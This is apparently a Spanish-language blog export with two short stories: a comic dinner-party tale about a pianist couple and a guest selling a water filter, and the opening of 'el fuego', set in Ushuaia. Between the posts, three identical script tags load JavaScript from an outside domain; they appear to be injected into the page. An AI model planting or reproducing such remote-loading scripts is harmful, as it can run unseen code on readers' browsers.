armar un rodete con su pelo largo y lacio que le llovía sobre la cadera. Eso
hacía siempre que estaba enojada, como preparándose para dar pelea. Se sentó al
piano, levantó la tapa y empezó a tocar escalas.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Te dije que quiero que el disco sea especial.
Vamos a tener que mover el ensayo de mañana.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier se acostó,
tapándose la cabeza con el almohadón. La gata atravesó el living a la velocidad
de un rayo, pegando un grito parecido al llanto de un recién nacido. Frenó en
el segundo escalón y se quedó ahí congelada mirando fijo hacia el vacío. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Vienen a las
ocho!<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
El timbre sonó
menos cuarto. Gabriela estaba todavía sentada en el piano, tenía las partituras
desparramadas por el piso, se había puesto las viejas polainas de danza de su
madre y las babuchas encima de las calzas. La política de la casa era no
encender la estufa hasta que las capas de ropa dejaran de alcanzar para
abrigar. A ella no le gustaba esta nueva regla, pero desde que ambos habían
decidido dejar sus trabajos en la escuela para dedicarse a los alumnos
particulares, las sesiones y los discos, habían tenido que hacer varios
recortes. Todo lo que no fuera al pago del préstamo del departamento iba a la
grabación del disco. Gabriela tuvo que aprender a callar el frío, les quedaban
veintisiete años de cuotas.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Quién es? No
abras.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier seguía
leyendo en el sillón. Odiaba que la gente llegara temprano.<i> Es una forma de impuntualidad</i>, lo burlaba siempre Gabriela
imitándolo. La gata saltó varias veces contra la puerta, atajándose con sus patas
como sorprendida por el impacto. Después rodeó la bandeja de piedras y se puso
a hacer caca en el piso. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Cuerpo a
tierra!<i>— </i>dijo Javier y se rió, pero
ella ya estaba juntando sus hojas, con toda la intención de encerrarse en la
pieza de arriba. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Esa noche no se
la iba a hacer fácil. Javier cerró el libro y se calzó las zapatillas. Acomodó
los almohadones del sillón, respiró hondo. El living olía muy mal. Golpeó el
vidrio de la ventana al ver que los gatos seguían ahí. Gabriela ya había
desaparecido. Volvió a sonar el timbre. Javier abrió la puerta con una sonrisa
de oreja a oreja.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Le llamó la
atención la novia de Lean, la había imaginado diferente. Se presentó como
Clara, y su perfume quedó suspendido en el aire después del saludo. Tenía el
pelo rubio y lacio por los hombros, un estilo distinto al de Gabriela, más
serio, más adulto. Podría haber sido un personaje en una película.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿También
estudiás piano?— le preguntó sin mirarla a los ojos. Ella negó con la cabeza. <i>Menos mal</i>, pensó él, el tema se terminó
ahí. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Gabriela estaba en
la habitación, sentada en el medio de la cama deshecha. Seguía vestida de entre
casa, escuchaba las primeras versiones del disco que había hecho en un grabador
de mini cassette que se había robado del San Gabriel. Abrió el cajón de su mesa
de luz y buscó con los dedos sin mirar. Encontró la tuca del día anterior y se
la llevó a la boca por el lado equivocado. Las cenizas se le pegaron a la
lengua, que empezó a frotar contra el paladar. No podía sacar la vista de encima
del frasco de flores que había cultivado con sus amigas en el verano. Ya no le
quedaba casi nada. Escuchó las voces abajo, los rasguños lascivos de Petra en
la puerta. No iba a bajar hasta haber escuchado tres veces el mejor tema del
disco.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
La bolsa de la
pollería estaba apoyada sobre la mesada de la cocina. Gabriela intentó desatar
el triple nudo con los dedos y terminó rompiendo el plástico con las uñas,
estaba de mal humor. No había planeado cocinar. ¿Quién va a una cena con un
pollo crudo? Encendió el horno, tiró un gran chorro de aceite usado en la
asadora y apoyó el pollo entero con desprecio. Lo frotó con las manos
aceitadas. Le sacudió el salero encima y solo cayeron unos pedazos de arroz
viejo. La lista de las compras seguía pegada en la heladera, Javier no había
ido al almacén. Mucha pimienta. <i>Horno,
puerta, listo</i>. Se sirvió otra copa de vino.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Qué tal Lean?
¿Vos ensayás para las clases?<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—A veces, la
verdad, cuando tengo tiempo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Trabaja demasiado.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Gracias a Dios.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier se levantó
para poner un disco. Como siempre que no sabía qué decir, narró lo que hacía.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Voy a poner un
disco en el tocadiscos.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Buenísimo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Bru—tal—, dijo
Clara riéndose y mirando a los ojos a Lean, festejando un chiste interno que
nadie más apreció. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Se levantó de la
silla y dio una vuelta por el living. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Dónde está el
baño?— le preguntó a Gabriela, — creo que pisé caca.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—El de abajo anda
mal, mejor andá al de arriba. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Llevá
servilletas que no queda más papel— gritó Javier desde el tocadiscos.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<i><span lang="EN-US">Me, myself and I are all
in love with you, we all think you´re wonderful, we do!</span></i><span lang="EN-US"> <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¿Vieron que
Natalia Oreiro quiso versionar este tema y no lo pudieron traducir? <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
La voz de Billie
Holiday tapó su comentario. Gabriela condimentaba la ensalada sobre la mesa,
Lean miraba su página de Facebook en el teléfono y Clara buscaba un pañuelo en la
cartera, no paraba de caerle agua por la nariz. El silencio los agarró
desprevenidos, nadie tomaba el mando de la conversación. La música traía alivio
y entre servir el vino, comentar el clima y algunas preguntas básicas a Clara,
pasó la primera hora de la reunión.<span lang="EN-US"><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Gabriela dijo que
necesitaba cambiarse antes de cenar.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Siempre lo hago,
cocino de entre casa— dio explicaciones que nadie le estaba pidiendo. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Subió las
escaleras apurada y se encerró en el cuarto, abalanzándose sobre el frasco de marihuana.
Alguien había movido la mesa de lugar apenas unos centímetros. Una pelusa que
siempre estaba escondida debajo de la pata de la cama flotaba al lado de la
puerta. Mientras armaba el porro, le pareció también que el frasco estaba mucho
más vacío que antes. Pasó la lengua por el borde del papel, cerró su cigarrillo
y se lo colgó en la boca sin encender. Revisó el vidrio a ver si encontraba
huellas digitales. Clara había subido al baño diez minutos antes. Miró hacía el
interior del placar, las montañas de ropa de Javier. Era posible que estuviera
un poco más desordenada de lo que la había dejado. No había manera de saberlo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Abajo, Javier le
contaba a sus amigos sobre la grabación del disco. El primo de Lean, Tomás, era
el dueño del estudio donde trabajaban. Les recitó de memoria el título y orden
de las canciones. Clara repitió varias veces que era una ignorante total en lo
que respectaba a la música. Un ruido desde la puerta de calle la tenía
inquieta, sentía que en cualquier momento entraría alguien. Era Petra que se
trepaba a la pared, una y otra vez, intentando llegar al atrapasueños.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Cuando Clara vio
a Gabriela bajar por las escaleras todavía vestida de entre casa, le pidió que
les tocara un tema del disco. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Voy a chequear
el pollo y después con gusto — fue la respuesta que le dio sonriendo y con los
ojos achinados. Javier supo que estaba nerviosa.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Cuando puedas
vení, que me gustaría comentarle algo a todos. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
La voz de Lean
salió más fuerte de lo que esperaba. Se levantó y fue hasta el perchero a
buscar la bolsa que había traído. La gata colgaba del atrapasueños mientras le
destrozaba las plumas con las garras, las campanas sonaban sin cesar. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier estaba un
poco perdido. ¿Qué tendría su alumno para decirles? Ni siquiera se conocían
tanto, iba a las clases hacía cuatro o cinco meses. Y ¿por qué había traído a
Clara? ¿Qué tenían que hablar los cuatro? Estaba cansado de tener que inventar
temas de conversación. Y su novia, la única que podía ayudarlo en esa
situación, lavándose las manos. El motivo de todo se le hizo evidente: Gabriela
y Leandro tenían una historia. Estaban ahí para darles la noticia, todo de una
vez. Se levantó de la mesa y se fue a la cocina.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<span style="background: white; color: #282828;">—</span>Me cago en Dios, me olvidé de encender el horno, qué
pelotuda. <span style="background: white; color: #282828;"><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Gabriela se daba
la cabeza contra la pared, Javier la agarró de los hombros. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Te pido por
favor que vuelvas a la mesa, no me dejes solo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Esta mierda se
va a hacer en tres horas. No puedo más. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Petra ronroneaba
entre los pies de uno y otro, pegaba el hocico al vidrio del horno, al acecho
del pollo al otro lado.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Clara fumaba un
cigarrillo de pie junto a la ventana abierta apenas abierta. Nadie le había
dicho que podía hacerlo. A Javier le molestaba mucho el olor del humo pero se
guardó la queja. Esta pose le permitía observar a Clara en todo su esplendor.
Tenía puesta una pollera oscura y corta sobre unas medias de lana amarillas con
tejidos de trenzas, la piel blanca sin manchas. Se rascaba el ojo con
insistencia. El cigarrillo acentuaba su calidad de actriz. La ventana se abrió
un poco más y por lo bajo, sin que nadie lo viera, el Malacara arrimó el
hocico.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Lean se acomodaba
nervioso en su silla, tenía las manos sobre una caja de cartón que había puesto
en el medio de la mesa. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<span style="background: white; color: #282828;">—
¡Qué frío! Cierren la ventana. </span>Esto es nuevo <span style="background: white; color: #282828;">—</span> dijo Gabriela
señalando a la caja <span style="background: white; color: #282828;">—.</span> ¿Qué trajiste?<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Por favor siéntense
—respondió él poniéndose de pie, carraspeó —. Tengo algo que ofrecerles.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Anestesiados por
la sorpresa, todos lo obedecieron. Clara volvió a su silla tosiendo. Lean agarró
su vaso de agua. El Malacara seguía el rastro de Petra alrededor de la casa,
había llegado al pie de las escaleras sin ser descubierto, y planeaba seguir.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Tengo mucha sed
y me encantaría tomarme todo este vaso de agua. — Se acercó el vaso a la boca
—. Pero no pude evitar notar en las clases que ustedes toman agua de la
canilla. Directo de la canilla. ¿Alguna vez vieron lo que hay adentro de una
cañería? El cloro es el último de sus problemas. Hace unos meses Clara y yo
compramos un filtro <i>Acquapure</i> gracias
a un amigo de la familia, y nos cambió la vida. <span style="background: white; color: #282828;">— </span>Posó la mano entera sobre
la caja; con un solo gesto depositaba toda su confianza en el filtro. Clara
volvió a toser. <span style="background: white; color: #282828;">—</span>Ahora quiero pasarles el secreto. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Voy a chequear
el pollo. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Gabriela se apuró
a salir del comedor. <i>Se puso nerviosa</i>,
pensó Javier, <i>se viene la confesión</i>.
El corazón le latía con ganas, no podía esperar a que Lean se sacara la
máscara. <span lang="EN-US">Billie
Holiday lo llamaba desde el tocadiscos …<i>The
way we dance till three, the way you changed my life, no, no! </i></span><i>They can´t take
that away from me!</i> Clara encendió otro
cigarrillo, esta vez sin levantarse de la mesa. Tiró las primeras cenizas sobre
la palma de su mano. Largó el humo hacia arriba haciendo un tubo con su boca
hasta que la tos la atacó de nuevo. Entonces el humo le salía por la nariz y se
le escapaba entre los dedos. Empezó a ponerse colorada. Lean sacaba de la caja
unas bolsitas de plástico con las partes del filtro. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
El Malacara
encontró a Petra metida adentro del gran frasco de flores de Gabriela. Tenía
todo el pelo enredado con cogollos de marihuana. Intentó meterse en el frasco
él también y rodaron por toda la habitación hasta el baño. Petra salió
propulsada y tras mostrarle la dentadura al Malacara, se arrojó escaleras
abajo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Cuidado que
está hirviendo! <span style="background: white; color: #282828;">—</span> gritó Gabriela apoyando la bandeja con el pollo
ostensiblemente crudo en el medio de la mesa. — ¿Ya les conté del disco? ¿Les
toqué algún tema? <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Nos
encantaría! Pero antes dejame mostrarte cómo funciona…<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Leandro se
levantó de la mesa sosteniendo el filtro entre las manos como si fuera una
bomba de hidrógeno. Seguía hablando cuando entró a la cocina. Nadie lo había
seguido, en el silencio le pareció escuchar a un bebé llorando.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Mi amor, ¿y si
corto el pollo? <span style="background: white; color: #282828;">— </span>Javier atravesó el ave con el cuchillo sin esperar la
respuesta. Clara apagó su cigarrillo en el borde de su plato, se tapaba la boca
con las dos manos.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Cada comprador
aporta el contacto de tres posibles compradores!— se escuchaba la voz de
Leandro a lo lejos.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Saco esta mierda
y les toco el primer tema, el piano es hermoso.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<i><span lang="EN-US">I´ll be seeing you in
all the familiar places that this hearts embrac... </span></i>Gabriela levantó la púa sin cuidado, raspó la pasta y Petra
soltó un alarido imitando al disco. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Creo que no
puedo respirar— dijo Clara con la cara prendida fuego.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—No serás
alérgica a los gatos— se rio Javier y se puso a buscar en la mesa un vaso de
agua. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Desfilando para
El Malacara, Petra atravesó la alfombra que cubría el living. Movía la cola de
lado a lado, las cuatro patas siguiendo una línea recta que atravesaba la mitad
exacta de su cuerpo. Gabriela se sentó al piano y se soltó la larguísima
cabellera que casi peinaba el suelo. Arremetió contra las teclas, aullándole a
la luna que empezaba a asomarse por la ventana. Aprovechando las distracciones,
entraron el gato blanco y Elaine.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Lean encajó la
última pieza del filtro en la canilla de la cocina e intentó servir un vaso.
Nada. Levantó la cabeza con una sonrisa. Sus ojos se encontraron con los de Javier,
que lo miraba por encima de su copa de vino. <i>Te voy a matar, sorete</i>, le decía con los ojos. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— Clara necesita
un vaso de agua— le dijo. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Leandro abrió la
canilla fría y después la caliente. No pasó nada. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Ya la arreglo,
vas a ver, un segundo.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier sacudió la
cabeza y volvió al living insultándolo por lo bajo. Clara tenía la cara
cubierta de ronchas, respiraba haciendo ruido, con las dos manos se agarraba el
cuello. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
— ¡Ya te traigo
agua!— gritó Javier y subió las escaleras a la velocidad de la luz. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
—Tu pupila me
atrapa— dijo Gabriela en voz baja. — ¿Para ustedes es mejor <i>tu pupila me atrapa</i> o<i> mi pupila te atrapa</i>? – gritó desde el
piano mientras tomaba notas sobre el pentagrama para una nueva canción. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Petra se subió a
la mesa de un salto. Clara tenía visión doble.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<span style="background: white; color: #282828;">—</span>Quedamos todas nosotras <span style="background: white; color: #282828;">—</span>le dijo, pero su voz se
perdió entre las notas del piano. También se perdió el maullido de Petra, que
ahora se acercaba al centro de la mesa, presa de lujuria. Puso las dos patitas
sobre el muslo del pollo crudo, morado y ensangrentado como un recién nacido. Ronroneaba
sin parar mientras le pasaba la lengua por el lomo y acomodaba sus cuatro patas
extasiadas en la fuente del amor. El Malacara se subió al regazo de Clara, que
empezó a clavarse las uñas en la cara por la picazón. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
Javier pateó el
frasco sin querer al entrar al baño de arriba. El vidrio chocó contra el pie
del bidet y estalló. Abrió las dos canillas en puntas de pie. Nada. Miró su
reloj: era veintinueve de julio. Se había olvidado de ir a pagar la multa del
agua. <o:p></o:p></div>
<br />
<div style="margin-bottom: .0001pt; margin: 0cm;">
<br /></div>
</div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-9238068304673966812018-05-20T07:28:00.003-07:002021-02-17T11:07:05.712-08:00el fuego<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Lo que menos le gustaba a Lupe del
invierno en Ushuaia eran las orejeras rojas que su mamá la obligaba a usar. La
sensación de sordera que le provocaban la hacía sentir perdida. No las quería
tocar ni con la punta de los dedos porque la felpa, al contrario de lo
esperado, era áspera y le daba escalofríos. Entonces se le retorcía la lengua
adentro de la boca, tocándole el paladar y la parte de atrás de todos los
dientes. Fue así que descubrió su primer diente flojo una tarde en la zapatería.
Se sintió afiebrada y no quiso sacarse la campera de plumas. Guardaría el
secreto tanto tiempo como fuera necesario.<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Cuando su mamá atendía el local,
Lupe aprovechaba para hacer las cosas prohibidas: ese día caminaba con el
cuerpo pegado a la vidriera. El vidrio estaba empañado y le gustaba apoyar el
dedo índice y arrastrarlo de punta a punta marcando una línea irregular. <i style="mso-bidi-font-style: normal;">Un rinocergato</i>. Solo a través de su
dibujo, Lupe pudo ver hacia afuera. El reflejo de sus ojos sobre la nieve
blanca le devolvía la atención. En el fondo sonaba una y otra vez la campana de
la puerta, los zapatos eran un éxito. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>—Te digo la verdad: ahora que lo veo
de nuevo, no estoy muy segura —escuchó que le decía una señora a la otra. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Una chica se probaba un zapato de
raso negro en su pie izquierdo. Se levantó del banco y dio unos pasos rengos
hasta el espejo. Examinaba la imagen de sus pies como si fuera un acertijo.
Lupe se distrajo de su propio juego para verla volver ponerse la zapatilla
izquierda, acomodar el zapato sobre el estante, y alejarse del local acompañando
el paso de sus piernas sobre la nieve con un amplio movimiento de brazos. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span><o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>Marisol cerró la puerta con llave
antes de abrir la caja. Apiló los tres montones de billetes, contaba pasando
cada uno de mano en mano con sus dedos largos. Movía la boca sin hacer ruido.
Lupe recordó el robo de los cien dólares y le dio vergüenza. Intentar
invertirlos en el kiosco de la escuela había sido un error de principiante. Por
supuesto que alguien la delataría. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>— ¿Cuántos zapatos vendimos hoy?<o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>—Ninguno— respondió Marisol mientras
volvía a guardar los billetes en la caja. No levantaba la mirada. <o:p></o:p></span></h3>
<h3 style="background: white; margin-bottom: 8.0pt; margin-left: 0cm; margin-right: 0cm; margin-top: 0cm; text-align: justify;">
<span style="color: black; font-size: 12.0pt; font-weight: normal; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;"> </span>La dejó ir a la casa de la tía Marta
bajo la condición de que se pusiera las orejeras para salir. Lupe caminó por la
avenida San Martín, las manos en los bolsillos y la lengua empujándole de a
poco el diente flojo. Intentaba pisar sobre las huellas de los demás.<i style="mso-bidi-font-style: normal;"> Ningún zapato, ni un zapato</i>. Se dio
vuelta para volver a ver la puerta del local. Las mujeres pasaban de largo sin
mirar hacia la vidriera, el viento frío las apuraba. Repasó los últimos días en
busca de alguna falla, algo que haya podido enojar a los sensibles curspis,
demonios de la isla. <span style="mso-spacerun: yes;"> </span><o:p></o:p></span></h3>
<div class="MsoNormal" style="line-height: normal; text-align: justify;">
